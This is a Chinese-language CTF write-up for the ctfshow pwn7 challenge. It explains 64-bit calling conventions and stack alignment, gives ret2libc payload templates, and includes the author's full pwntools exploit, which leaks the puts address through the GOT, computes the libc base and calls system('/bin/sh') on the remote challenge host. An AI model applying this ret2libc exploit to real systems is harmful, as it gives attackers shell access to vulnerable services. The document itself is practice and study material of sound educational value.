用ROPgabdet
找到pop rdi地址和ret地址:
来自ctfshow pwn7:
64位程序是需要栈平衡的,而且前六个寄存器用完了才会用栈传参
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数…
system函数和puts函数都只有一个参数
ret是用来栈平衡的
判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)
注意要连上远端后测puts的地址,本地运行可能不一样的(我是笨蛋吗被这个困这么久
而且本地运行可能会出现
据说可能和ASLR有关(没搞懂
还有接受puts地址那里
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
u64是64地址转整型,ljust(8, b'\x00')
是左对齐用\x00
填充至八位(但我还是不懂为什么这么写啊
下图中我把p.recvline
,p.recv(6)
,p.recv(6).ljust(8, b'\x00')
,u64(p.recv(6).ljust(8, b'\x00')
,hex(u64(p.recv(6).ljust(8, b'\x00'))
都输了一遍
自己写的exp(都没多大差别:
from pwn import *
context(arch = 'amd64', log_level = "debug")
#p = process("./pwn")
p = remote("pwn.challenge.ctf.show", 28104)
#gdb.attach(p)
elf = ELF("./pwn")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x00000000004006e3
ret_addr = 0x00000000004004c6
main_addr = elf.symbols["main"]
payload1 = b'a'*(0xc + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload1)
print(p.recvline()) #p.recvuntil('\x0a')
puts_addr = p.recv(6)
print(puts_addr)
puts_addr = puts_addr.ljust(8, b'\x00')
print(puts_addr)
puts_addr = u64(puts_addr)
#puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(puts_addr)
print(hex(puts_addr))
#libc = LibcSearcher("puts", puts_addr) #我LibcSearcher还是用不了——
#libcbase = puts_addr - libc.dump("puts")
#system_addr = libcbase + libc.dump("system")
#bin_sh = libcbase + libc.dump("str_bin_sh")
libcbase = puts_addr - 0x0809c0
system_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
payload2 = b'a' * (0xc + 8) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
p.sendline(payload2)
p.interactive()